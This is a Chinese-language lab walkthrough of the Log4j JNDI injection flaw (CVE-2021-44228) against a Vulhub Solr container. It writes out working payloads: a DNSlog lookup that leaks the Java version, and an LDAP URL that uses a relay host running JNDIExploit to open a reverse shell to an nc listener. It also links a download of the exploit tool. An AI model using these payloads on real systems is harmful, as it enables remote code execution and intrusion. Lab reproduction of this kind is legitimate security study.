zl程序教程

您现在的位置是:首页 >  其他

当前栏目

log4j-CVE-2021-44228-vulhub复现

2023-04-18 16:04:48 时间

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

01

漏洞描述

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

参考地址:

https://github.com/vulhub/vulhub

本次漏洞复现也是基于Vulhub

02

漏洞环境搭建

docker-compose up -d --build

访问http://127.0.0.1:8983/solr/#/

03

Dnslog测试

在DNSlog平台请求一个dns域名:3j7r1s.dnslog.cn

构造:

${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3a5h27.dnslog.cn}

直接访问:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3j7r1s.dnslog.cn}

此时直接得到版本信息:1.8.0

或者是请求:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://cd9097fd.dns.1433.eu.org}

04

反弹shell

反弹shell需要使用JNDIExploit.v1.2,可以从下面百度云直接下载:

详细的信息可以参考上一篇文章

https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5

网络拓扑:

攻击机:10.211.55.23

靶机:10.211.55.2

中转机:10.211.55.3

中转机java版本:1.8.0_172

首先在中转机上使用JNDIExploit-1.2-SNAPSHOT.jar文件使用java启动,命令如下:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.211.55.3

其中:10.211.55.3为中转机的ip地址

然后在攻击机上开启监听:nc -lvvp 6666

此时构造如下命令:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://10.211.55.3:1389/Basic/ReverseShell/10.211.55.23/6666}

其中:

  • http://127.0.0.1:8983为靶机的地址
  • 10.211.55.3为中转机地址
  • 10.211.55.23为Kali攻击机ip地址,此时要反弹shell

更多用法可以参考:

https://github.com/zzwlpx/JNDIExploit

直接执行之后,shell就弹回来了

此时在中转机器上:

成功!

清除环境:docker-compose down

05

注 意 事 项

中转机的java版本:1.8.0_172